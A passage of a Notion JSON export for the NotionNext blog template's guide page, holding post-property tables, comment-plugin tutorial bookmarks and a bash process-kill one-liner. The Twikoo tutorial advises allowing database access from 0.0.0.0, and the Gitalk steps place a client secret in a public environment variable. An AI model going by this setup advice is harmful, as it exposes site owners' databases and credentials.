e2c-911d-226cebed353c","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991046,"last_edited_time":1705638991046,"parent_id":"fd0213c3-3749-4192-9153-a4ed99862478","parent_table":"block","alive":true,"copied_from":"5482440b-ad3a-4e2c-911d-226cebed353c"}},"ff13eaa4-36e2-48b8-93f0-a2e2d69c57f8":{"value":{"id":"ff13eaa4-36e2-48b8-93f0-a2e2d69c57f8","type":"numbered_list","properties":{"title":[["其决定于它自己本身发展的情况和周围的条件"]]},"content":["e7d4f134-5b60-4e18-8deb-d9b4d09e5463"],"format":{"copied_from_pointer":{"id":"edf25784-54d5-4c65-ac1e-7f3ac52e6ab4","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991046,"last_edited_time":1705638991046,"parent_id":"fd0213c3-3749-4192-9153-a4ed99862478","parent_table":"block","alive":true,"copied_from":"edf25784-54d5-4c65-ac1e-7f3ac52e6ab4"}},"59e81d6f-cd4d-41ef-b5eb-34c35a923f75":{"value":{"id":"59e81d6f-cd4d-41ef-b5eb-34c35a923f75","type":"numbered_list","properties":{"title":[["第三级别列表"]]},"format":{"copied_from_pointer":{"id":"e268c632-795a-4e9f-93cc-553cdebbffb8","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991055,"last_edited_time":1705638991055,"parent_id":"0088bfb9-cb4d-4598-ae75-0e3730f9396d","parent_table":"block","alive":true,"copied_from":"e268c632-795a-4e9f-93cc-553cdebbffb8"}},"041c0475-c611-48d7-81b0-d2f014771748":{"value":{"id":"041c0475-c611-48d7-81b0-d2f014771748","type":"numbered_list","properties":{"title":[["第三级别列表"]]},"format":{"copied_from_pointer":{"id":"211f8283-13c5-415f-92f5-f96db1ff8bf6","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991055,"last_edited_time":1705638991055,"parent_id":"0088bfb9-cb4d-4598-ae75-0e3730f9396d","parent_table":"block","alive":true,"copied_from":"211f8283-13c5-415f-92f5-f96db1ff8bf6"}},"e7d4f134-5b60-4e18-8deb-d9b4d09e5463":{"value":{"id":"e7d4f134-5b60-4e18-8deb-d9b4d09e5463","type":"numbered_list","properties":{"title":[["第三级别列表"]]},"content":["7c40fcc2-6bd0-4bd5-b352-221b86d56e65"],"format":{"copied_from_pointer":{"id":"be780eee-e70c-45d5-a5ad-36bf9a3434a0","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991056,"last_edited_time":1705638991056,"parent_id":"ff13eaa4-36e2-48b8-93f0-a2e2d69c57f8","parent_table":"block","alive":true,"copied_from":"be780eee-e70c-45d5-a5ad-36bf9a3434a0"}},"7c40fcc2-6bd0-4bd5-b352-221b86d56e65":{"value":{"id":"7c40fcc2-6bd0-4bd5-b352-221b86d56e65","type":"numbered_list","properties":{"title":[["第三级别列表"]]},"format":{"copied_from_pointer":{"id":"46382638-5d6f-4be9-b7b3-ea077022a53e","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991057,"last_edited_time":1705638991057,"parent_id":"e7d4f134-5b60-4e18-8deb-d9b4d09e5463","parent_table":"block","alive":true,"copied_from":"46382638-5d6f-4be9-b7b3-ea077022a53e"}},"e4a4f952-60d5-4bb8-a96f-a835fe58bd3b":{"value":{"id":"e4a4f952-60d5-4bb8-a96f-a835fe58bd3b","type":"bookmark","properties":{"link":[["https://tanghh.notion.site/02ab3b8678004aa69e9e415905ef32a5?v=b7eb215720224ca5827bfaa5ef82cf2d"]],"title":[["NOTION BLOG"]],"description":[["演示站点描述"]]},"format":{"bookmark_cover":"https://tanghh.notion.site/image/https%3A%2F%2Fp1.qhimg.com%2Fbdm%2F1600_900_100%2Ft01e66d486b8e826270.jpg?table=collection&id=4379bc14-5d22-453b-a153-12639616fc01&spaceId=6c096b44-beb9-48ee-8f92-1efdde47f3a3&width=2000&userId=&cache=v2","copied_from_pointer":{"id":"19936e6c-1a77-4685-b1b0-932bc8b7d40b","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991030,"last_edited_time":1705638991030,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"19936e6c-1a77-4685-b1b0-932bc8b7d40b"}},"c994ab66-5436-4200-bc41-90a32ae0ee7e":{"value":{"id":"c994ab66-5436-4200-bc41-90a32ae0ee7e","type":"text","properties":{"title":[["Notion页面中,每篇文章都将有以下属性🤔:"]]},"format":{"copied_from_pointer":{"id":"548780a2-7746-435c-8799-628311eb197b","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991035,"last_edited_time":1705638991035,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"548780a2-7746-435c-8799-628311eb197b"}},"e0c369fb-2c38-4e2d-b639-361bca715727":{"value":{"id":"e0c369fb-2c38-4e2d-b639-361bca715727","type":"table","content":["05186514-3dc8-4849-9475-59b850a6b0cc","07a88149-8cfd-4a1f-8e3d-d4c0f2e092e7","f06bb257-3f4a-4403-bb69-7b1d74d06904","03ede0f3-7648-4ea1-bf04-813153286b95","a2fa28f1-bc0d-4652-b178-7930b36dd23f","0c387878-efc6-4b90-8864-a761e254afa5","64862808-6468-41fc-99b2-70dff39315e7","4d6f361a-43ee-4036-84c0-528b8db99127","3a7fc9cc-3076-4fb0-ad05-c85def990def","422651c6-3a69-448d-88de-41bac662105d","12373e99-0812-4e9d-9d7b-a5e57bbab2ad"],"format":{"copied_from_pointer":{"id":"605a007d-fc0f-4aba-9d83-d6646f75e29c","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"},"table_block_row_header":true,"table_block_column_order":["BYf{","GENW","Js[p","`VuO"],"table_block_column_format":{"BYf{":{"width":148},"GENW":{"width":77.00000762939453},"Js[p":{"width":239.00001525878906},"`VuO":{"width":315.66668701171875}},"table_block_column_header":true},"created_time":1705638991036,"last_edited_by":"27074aef-7216-41ed-baef-d9b53addd870","last_edited_time":1705638991036,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"605a007d-fc0f-4aba-9d83-d6646f75e29c"}},"b2eef454-ef1f-4137-a256-ed8d7f28ca5d":{"value":{"id":"b2eef454-ef1f-4137-a256-ed8d7f28ca5d","type":"header","properties":{"title":[["评论插件"]]},"format":{"copied_from_pointer":{"id":"fd4c19bc-0de4-40ea-a038-8e0c97744ff3","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991044,"last_edited_time":1705638991044,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"fd4c19bc-0de4-40ea-a038-8e0c97744ff3"}},"75a4c9a0-0331-416b-86ac-184c365390a9":{"value":{"id":"75a4c9a0-0331-416b-86ac-184c365390a9","type":"text","properties":{"title":[["系统支持 Waline\\Giscus\\Valine\\GitTalk\\Utterance\\Cusdis\\Twikoo六种评论插件,并且可以同时开启,点击评论区的Tab来体验。"]]},"format":{"copied_from_pointer":{"id":"f0b6509e-dfc7-4cc6-a02d-29e2c5d2dcea","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991043,"last_edited_time":1705638991043,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"f0b6509e-dfc7-4cc6-a02d-29e2c5d2dcea"}},"f7f5b64a-3ff6-47b3-947d-80f9e1704081":{"value":{"id":"f7f5b64a-3ff6-47b3-947d-80f9e1704081","type":"text","properties":{"title":[["按照以下教程可以开启响应的评论插件"]]},"format":{"copied_from_pointer":{"id":"f729e406-9158-4baa-9043-148399a69893","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991044,"last_edited_time":1705638991044,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"f729e406-9158-4baa-9043-148399a69893"}},"db08546f-0540-456c-9244-e258c16452c3":{"value":{"id":"db08546f-0540-456c-9244-e258c16452c3","type":"bookmark","properties":{"link":[["https://tangly1024.com/article/notionnext-twikoo"]],"title":[["NotionNext配置评论插件Twikoo | TANGLY's BLOG"]],"description":[["一个简洁、安全、免费的静态网站评论系统,基于 腾讯云开发 。 经评论区网友推荐,我开始使用 Twikoo,一番体验,发现Twikoo真的很强大,目前我决定用它作为主要评论插件。 twikoo支持在页面上直接管理评论、配置插件,非常强大 在最新版本中 NotionNext已经 支持该评论插件,配置 方法很简单: 在Vercel后台添加一个环境变量 NEXT_PUBLIC_COMMENT_ENV_ID ; 值为您部署好的 twikoo 后台地址。以我的举例: 借助vercel,您可以非常快速地部署自己的twikoo后台,用于储存评论数据。 twikoo的后台数据存储是基于MongoDB数据库的,我们可以先注册创建一个免费的在线MongoDB数据库。 创建MongoDB数据库 1.注册账号 创建数据库 这里下方要设置一个允许访问该数据库的IP地址,推荐设置0.0.0.0,即所有地址都允许访问,毕竟我也不知道自己会用什么ip访问这个数据库。 2.获取数据库连接地址 Vercel一键部署 点击Create将twikoo的代码拷入您的仓库 配置MongoDB数据库地址 添加一个配置 MONGODB_URI 环境变量即可,其值为上一步获得的MongoDB连接地址,注意将链接中MONGODB的密码 替换成您设置的。 上述部署完成后,您将获得一个vercel的twikoo后台页面,您可以选择像我一样映射成二级域名 将您的twikoo后台地址配置在NotionNext的后台,并redeploy即可。 到此完成~ 点击右下角的小齿轮即可配置您的管理员密码、并进行更多的功能设置。赶快体验吧~ 可以访问官方文档获取安装部署帮助,并且查看Twikoo的更多特性。 NotionNext支持多种评论插件,可访问以下文章获得帮助:"]]},"format":{"bookmark_icon":"https://tangly1024.com/favicon.ico","bookmark_cover":"https://images.unsplash.com/photo-1564419320603-628d868a193f?ixlib=rb-4.0.3&q=80&fm=jpg&crop=entropy&cs=tinysrgb","copied_from_pointer":{"id":"d35a0f34-d6b5-4a61-81a0-36518f8e6f7b","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991042,"last_edited_time":1705638991042,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"d35a0f34-d6b5-4a61-81a0-36518f8e6f7b"}},"c06aaa31-3788-4ed1-b964-ad1ff77fe151":{"value":{"id":"c06aaa31-3788-4ed1-b964-ad1ff77fe151","type":"bookmark","properties":{"link":[["https://tangly1024.com/article/notion-next-comment-plugin"]],"title":[["NotionNext如何添加评论插件 | TANGLY's BLOG"]],"description":[["NotionNext支持多种评论插件,其中体验比较好的我个人觉得是Twikoo,您可以参考以下教程进行配置安装: 您也可以选择Valine/Waline,关于Valine/Waline的部署可以访问此篇文章: Utterance 、 Giscus 、Gitalk 其中部署最便捷的当属 Cusdis 和 Utterance 这两个插件。您可以任选一个部署,当然,您也可以选择同时部署多个。 完成效果预览 点击Start for free ,并用Github登录即可 Sign in With Github (点击查看截图) [可选] 配置邮件通知地址,以便收到新评论时邮件通知您,(点击展开截图) 点击Embed Code获取您的应用ID,即data-app-id, 复制这串id备用。 在Vercel后台添加一个环境变量 NEXT_PUBLIC_COMMENT_CUSDIS_APP_ID,值为上面获取到的data-app-id。 完成预览效果 在您的Github中创建一个开源项目用于存放评论 在github中安装utterance插件 允许utterance访问所有仓库,并勾选install,可以只勾选作为评论用的仓库地址。 将用作评论仓库名添加到Vercel添加环境变量 后台 settings→ environment variables → 添加 → save 即可。如下图: 注意, 仓库名的格式是 [您的用户名/您的仓库名] 如下示例 完成预览效果 在您的Github中创建一个开源项目用于存放评论 创建一个授权秘钥,并保存您的ClientID与ClientSecret Authorization callback URL 填写您网站域名 填写配置的效果 ,点击 register application 即可创建。 点击 Generate a new client secret 生成您的密码 复制 Client ID和刚生成的 Client secret (对应图中2和3)备用。 在Vercel后台配置环境变量 NEXT_PUBLIC_COMMENT_GITALK_CLIENT_ID NEXT_PUBLIC_COMMENT_GITALK_CLIENT_SECRET NEXT_PUBLIC_COMMENT_GITALK_CLIENT_ID NEXT_PUBLIC_COMMENT_GITALK_CLIENT_SECRET 项目会在您的Github项目讨论区创建评论数据,便于维护管理 , 完成效果 预览 您可以在Github的Discusstion讨论区随时管理评论。 在您的Github中创建一个开源项目用于存放评论 在项目Setting中开启discussion功能 在Github中安装giscus应用 点击右上方的Install即可,并确认 允许访问仓库数据权限: 默认勾选All repositories即可。也可以只勾选用作评论的仓库,(后续还可以再回来配置) 访问Giscus填写并获取您的Giscus配置参数 主要配置输入您的仓库名,并选择 Discussion分类为 Announcements ."]]},"format":{"bookmark_icon":"https://tangly1024.com/favicon.ico","bookmark_cover":"https://tangly1024.com/bg_image.jpg","copied_from_pointer":{"id":"83caa5ef-f141-412a-a469-542d934d7147","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991038,"last_edited_time":1705638991038,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"83caa5ef-f141-412a-a469-542d934d7147"}},"24d6c0a0-f4d3-44dd-b749-4f048b962bcd":{"value":{"id":"24d6c0a0-f4d3-44dd-b749-4f048b962bcd","type":"bookmark","properties":{"link":[["https://tangly1024.com/article/notionnext-valine"]],"title":[["NotionNext配置Valine/Waline评论插件 | TANGLY's BLOG"]],"description":[["Valine插件需要LeanCloud后端提供数据库存储功能,请按照以下步骤配置。 而Waline 的前置步骤和Valine基本一致,只是多了一个部署Waline的Vercel服务步骤。由于Waline配置了完善的后台管理功能,所以使用Waline就不需要再配合Admin-Valine项目运行。 应用创建好以后,进入刚刚创建的应用,选择左下角的 设置> 应用Key,然后就能看到你的 APP ID和 APP Key 了: 为了你的数据安全,请设置自己的 安全域名 :只有以下设置的域名,才允许访问你的valine数据 支持的Valine配置在NotionNext项目的blog.config.js 中,请在Vercel后台的环境变量中配置: serverURLs在应用内部会尝试自动获取,如果发现获取失败,请手动提供 刚刚创建的应用,选择左下角的 设置> 应用Key,找到 Request 域名 第一行 需要在akismet中注册账号并获取免费的key: https://akismet.com/account ,并在LeanCloud中配置 AKISMET_KEY 变量 参考官方文档,在你的Vercel上部署一个valine应用。而后在你的NotionNext环境变量中添加你的waline服务地址环境变量: NEXT_PUBLIC_WALINE_SERVER_URL 即可生效。"]]},"format":{"bookmark_icon":"https://tangly1024.com/favicon.ico","bookmark_cover":"https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2F10eb466a-599b-4513-bcbf-2331cf88078d%2Fpexels-photo-546819.webp?table=block&id=bee1fccf-a3bd-47a1-a7be-83cc71372d83&cache=v2","copied_from_pointer":{"id":"43105988-677b-4857-96be-272139671537","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991033,"last_edited_time":1705638991033,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"43105988-677b-4857-96be-272139671537"}},"58b92af2-69c7-4e70-b107-5b62363f7bf8":{"value":{"id":"58b92af2-69c7-4e70-b107-5b62363f7bf8","type":"text","format":{"copied_from_pointer":{"id":"517fd501-4fae-491e-89af-373bba175082","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991034,"last_edited_time":1705638991034,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"517fd501-4fae-491e-89af-373bba175082"}},"7a70e08b-725e-4db5-9f17-8dc53540f006":{"value":{"id":"7a70e08b-725e-4db5-9f17-8dc53540f006","type":"file","properties":{"size":[["469.5KB"]],"title":[["测试嵌入PDF.pdf"]],"source":[["https://notion.so/signed/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2F20ecd1ff-e4de-4471-b86f-6f14ec891fc0%2F%25E6%25B5%258B%25E8%25AF%2595%25E5%25B5%258C%25E5%2585%25A5PDF.pdf?table=block&id=7a70e08b-725e-4db5-9f17-8dc53540f006"]]},"format":{"copied_from_pointer":{"id":"a7d89bbd-87c6-4a4e-b49d-67339645680e","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991040,"last_edited_time":1705638991040,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"a7d89bbd-87c6-4a4e-b49d-67339645680e","file_ids":["20ecd1ff-e4de-4471-b86f-6f14ec891fc0"]}},"42e434d6-3a26-49f0-8405-04854616fc19":{"value":{"id":"42e434d6-3a26-49f0-8405-04854616fc19","type":"header","properties":{"title":[["引用文献"]]},"format":{"copied_from_pointer":{"id":"ea5f0b81-5dc2-4a8d-a210-3eca56193e38","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991043,"last_edited_time":1705638991043,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"ea5f0b81-5dc2-4a8d-a210-3eca56193e38"}},"f862643d-1c2d-4678-9168-580da7e368dc":{"value":{"id":"f862643d-1c2d-4678-9168-580da7e368dc","type":"sub_sub_header","properties":{"title":[["1. 关于李白",[["a","https://zh.wikipedia.org/zh-sg/%E6%9D%8E%E7%99%BD"]]]]},"format":{"copied_from_pointer":{"id":"a47eb492-9c65-4ac4-b8c8-95d00023a97e","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991040,"last_edited_time":1705638991040,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"a47eb492-9c65-4ac4-b8c8-95d00023a97e"}},"573fc380-fb6b-434b-897f-3510f4c57832":{"value":{"id":"573fc380-fb6b-434b-897f-3510f4c57832","type":"text","properties":{"title":[["引用另一篇文章→"],["‣",[["p","f5dd304c-8c81-40dc-ba37-9c1d7399e15e","6c096b44-beb9-48ee-8f92-1efdde47f3a3"]]],[" "]]},"format":{"copied_from_pointer":{"id":"ba59b0e1-f03b-414c-8f0e-91ab9c82ace5","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991041,"last_edited_time":1705638991041,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"ba59b0e1-f03b-414c-8f0e-91ab9c82ace5"}},"f5dd304c-8c81-40dc-ba37-9c1d7399e15e":{"value":{"id":"f5dd304c-8c81-40dc-ba37-9c1d7399e15e","type":"page","properties":{"NX\\Q":[["‣",[["d",{"type":"date","start_date":"2021-07-02"}]]]],"`gQ~":[["Post"]],"bB{M":[["知行合一"]],"d]hq":[["guide"]],"sD^m":[["文字,推荐"]],"wz|S":[["<- 点击标题OPEN按钮打开说明;请检查您的NOTION_PAGE_ID是否成功配置,否则会显示我的默认数据库内容。"]],"title":[["模板说明"]],"f211bdc0-ee00-4186-9a7d-f68c055ec2ee":[["Published"]]},"content":["579acad5-88b1-48b4-9663-be0acfce1b82","43904423-54d5-4b7a-99e1-c42e625c1a43","22dda7cc-3244-4b8e-b207-c2e4d19b880f","87cd6da6-69f3-47d4-aa17-030c57592d46","5ab0b635-8005-4cc8-a169-6e26bc440b19","4c27b110-b8c1-462b-b17d-6b83a532a460","84e4d603-68c8-4e86-8a2a-89bade71caa6","c8471935-a70e-4cab-9f10-9e6528bc4f36"],"format":{"page_font":"mono","page_icon":"📖","page_cover":"https://images.unsplash.com/photo-1494774157365-9e04c6720e47?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb","block_locked":false,"block_locked_by":"27074aef-7216-41ed-baef-d9b53addd870","copied_from_pointer":{"id":"06f53161-8c9a-4e9c-8109-a8bd142a7b06","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"},"page_cover_position":0.5},"created_time":1685088343887,"last_edited_time":1722399361494,"parent_id":"4379bc14-5d22-453b-a153-12639616fc01","parent_table":"collection","alive":true,"copied_from":"06f53161-8c9a-4e9c-8109-a8bd142a7b06"}},"05186514-3dc8-4849-9475-59b850a6b0cc":{"value":{"id":"05186514-3dc8-4849-9475-59b850a6b0cc","type":"table_row","properties":{"BYf{":[["属性"]],"GENW":[["必填"]],"Js[p":[["说明"]],"`VuO":[["备注"]]},"format":{"copied_from_pointer":{"id":"a3ba15e7-f1f0-45a0-b2e2-65afa2383a4c","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991050,"last_edited_by":"27074aef-7216-41ed-baef-d9b53addd870","last_edited_time":1705638991050,"parent_id":"e0c369fb-2c38-4e2d-b639-361bca715727","parent_table":"block","alive":true,"copied_from":"a3ba15e7-f1f0-45a0-b2e2-65afa2383a4c"}},"07a88149-8cfd-4a1f-8e3d-d4c0f2e092e7":{"value":{"id":"07a88149-8cfd-4a1f-8e3d-d4c0f2e092e7","type":"table_row","properties":{"BYf{":[["title",[["c"]]]],"GENW":[[" 是"]],"Js[p":[[" 文章标题"]]},"format":{"copied_from_pointer":{"id":"b6161c75-f30b-4f12-9184-2facf8050e3f","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991050,"last_edited_time":1705638991050,"parent_id":"e0c369fb-2c38-4e2d-b639-361bca715727","parent_table":"block","alive":true,"copied_from":"b6161c75-f30b-4f12-9184-2facf8050e3f"}},"f06bb257-3f4a-4403-bb69-7b1d74d06904":{"value":{"id":"f06bb257-3f4a-4403-bb69-7b1d74d06904","type":"table_row","properties":{"BYf{":[["status",[["c"]]]],"GENW":[["是"]],"Js[p":[["发布状态"]],"`VuO":[["(仅当状态为"],["Published",[["c"]]],[" 时会被 展示)"]]},"format":{"copied_from_pointer":{"id":"20cd43c7-7dbe-4684-8fd6-7c5d3cccb867","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991048,"last_edited_by":"27074aef-7216-41ed-baef-d9b53addd870","last_edited_time":1705638991048,"parent_id":"e0c369fb-2c38-4e2d-b639-361bca715727","parent_table":"block","alive":true,"copied_from":"20cd43c7-7dbe-4684-8fd6-7c5d3cccb867"}},"03ede0f3-7648-4ea1-bf04-813153286b95":{"value":{"id":"03ede0f3-7648-4ea1-bf04-813153286b95","type":"table_row","properties":{"BYf{":[["type",[["c"]]]],"GENW":[["是"]],"Js[p":[["页面类型 (博文"],["Post",[["c"]]],[" / 单页("],["Page",[["c"]]],[")"]],"`VuO":[["单页不会在博文列表显示 。"]]},"format":{"copied_from_pointer":{"id":"4a616b4b-9351-4c57-9f18-7236093fef68","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991049,"last_edited_time":1705638991049,"parent_id":"e0c369fb-2c38-4e2d-b639-361bca715727","parent_table":"block","alive":true,"copied_from":"4a616b4b-9351-4c57-9f18-7236093fef68"}},"a2fa28f1-bc0d-4652-b178-7930b36dd23f":{"value":{"id":"a2fa28f1-bc0d-4652-b178-7930b36dd23f","type":"table_row","properties":{"BYf{":[["summary",[["c"]]]],"GENW":[["否"]],"Js[p":[["内容摘要"]],"`VuO":[["搜索和简略显示会用到"]]},"format":{"copied_from_pointer":{"id":"b7eed8de-c073-4960-81ef-b75b014ab5bd","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991050,"last_edited_time":1705638991050,"parent_id":"e0c369fb-2c38-4e2d-b639-361bca715727","parent_table":"block","alive":true,"copied_from":"b7eed8de-c073-4960-81ef-b75b014ab5bd"}},"0c387878-efc6-4b90-8864-a761e254afa5":{"value":{"id":"0c387878-efc6-4b90-8864-a761e254afa5","type":"table_row","properties":{"BYf{":[["date",[["c"]]]],"GENW":[["否"]],"Js[p":[["发布日期"]],"`VuO":[["在V3.3.9之前的版本此项为必填。"]]},"format":{"copied_from_pointer":{"id":"20ae1a6e-7d0c-456b-a510-c03cb00454dc","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991048,"last_edited_by":"27074aef-7216-41ed-baef-d9b53addd870","last_edited_time":1705638991048,"parent_id":"e0c369fb-2c38-4e2d-b639-361bca715727","parent_table":"block","alive":true,"copied_from":"20ae1a6e-7d0c-456b-a510-c03cb00454dc"}},"64862808-6468-41fc-99b2-70dff39315e7":{"value":{"id":"64862808-6468-41fc-99b2-70dff39315e7","type":"table_row","properties":{"BYf{":[["category",[["c"]]]],"GENW":[["否"]],"Js[p":[["文章分类"]],"`VuO":[["可以自定义"]]},"format":{"copied_from_pointer":{"id":"44854eb0-485e-48cc-81b6-5b80488d3b7d","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991049,"last_edited_time":1705638991049,"parent_id":"e0c369fb-2c38-4e2d-b639-361bca715727","parent_table":"block","alive":true,"copied_from":"44854eb0-485e-48cc-81b6-5b80488d3b7d"}},"4d6f361a-43ee-4036-84c0-528b8db99127":{"value":{"id":"4d6f361a-43ee-4036-84c0-528b8db99127","type":"table_row","properties":{"BYf{":[["tags",[["c"]]]],"GENW":[["否"]],"Js[p":[["文章标签"]],"`VuO":[["可多个,建议不要太多"]]},"format":{"copied_from_pointer":{"id":"c7ca1f34-ec0f-4c56-84c8-cab6ff13ca7f","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991051,"last_edited_time":1705638991051,"parent_id":"e0c369fb-2c38-4e2d-b639-361bca715727","parent_table":"block","alive":true,"copied_from":"c7ca1f34-ec0f-4c56-84c8-cab6ff13ca7f"}},"3a7fc9cc-3076-4fb0-ad05-c85def990def":{"value":{"id":"3a7fc9cc-3076-4fb0-ad05-c85def990def","type":"table_row","properties":{"BYf{":[["slug",[["c"]]]],"GENW":[["否"]],"Js[p":[["文章短路径"]],"`VuO":[[" (每篇文章唯一,请勿 重复)"]]},"format":{"copied_from_pointer":{"id":"66668f66-e0a7-49d4-af0e-2e1277dff157","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991050,"last_edited_time":1705638991050,"parent_id":"e0c369fb-2c38-4e2d-b639-361bca715727","parent_table":"block","alive":true,"copied_from":"66668f66-e0a7-49d4-af0e-2e1277dff157"}},"422651c6-3a69-448d-88de-41bac662105d":{"value":{"id":"422651c6-3a69-448d-88de-41bac662105d","type":"table_row","properties":{"BYf{":[["icon",[["c"]]]],"GENW":[["否"]],"Js[p":[["菜单栏图标(仅当"],["Page",[["c"]]],["类型有效)"]],"`VuO":[["可以参考:"],["图标库地址",[["a","https://fontawesome.com/v6/search"]]]]},"format":{"copied_from_pointer":{"id":"3f432717-e38f-4cf2-b648-8a82826e6d46","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991049,"last_edited_time":1705638991049,"parent_id":"e0c369fb-2c38-4e2d-b639-361bca715727","parent_table":"block","alive":true,"copied_from":"3f432717-e38f-4cf2-b648-8a82826e6d46"}},"12373e99-0812-4e9d-9d7b-a5e57bbab2ad":{"value":{"id":"12373e99-0812-4e9d-9d7b-a5e57bbab2ad","type":"table_row","properties":{"BYf{":[["password",[["c"]]]],"GENW":[[" 否"]],"Js[p":[[" 文章加锁"]],"`VuO":[[" 需要输入密码才允许访问"]]},"format":{"copied_from_pointer":{"id":"224b5680-aeff-427d-af00-27a29a0684f6","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991048,"last_edited_time":1705638991048,"parent_id":"e0c369fb-2c38-4e2d-b639-361bca715727","parent_table":"block","alive":true,"copied_from":"224b5680-aeff-427d-af00-27a29a0684f6"}},"f993f0f3-96ef-436e-b3a6-2a32c9623c1c":{"value":{"id":"f993f0f3-96ef-436e-b3a6-2a32c9623c1c","type":"code","properties":{"title":[["ps -ef | grep java | awk '{print $2}' | xargs kill -9"]],"language":[["Bash"]]},"format":{"code_wrap":true,"copied_from_pointer":{"id":"c7dacf97-8ced-4a63-bdd2-e812ceedb59d","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991047,"last_edited_time":1705638991047,"parent_id":"58a2fe87-4e0c-40aa-baed-b99e677f4891","parent_table":"block","alive":true,"copied_from":"c7dacf97-8ced-4a63-bdd2-e812ceedb59d"}},"dc053857-d6b6-4106-9819-6545884c39ee":{"value":{"id":"dc053857-d6b6-4106-9819-6545884c39ee","type":"code","properties":{"title":[["@Test\npublic void test11() {\n\n long start = System.currentTimeMillis();\n int a = 0;\n for(int i=0;i<1000000000;i++){\n try {\n a++;\n }catch (Exception e){\n e.printStackTrace();\n }\n }\n long useTime = System.currentTimeMillis()-start;\n 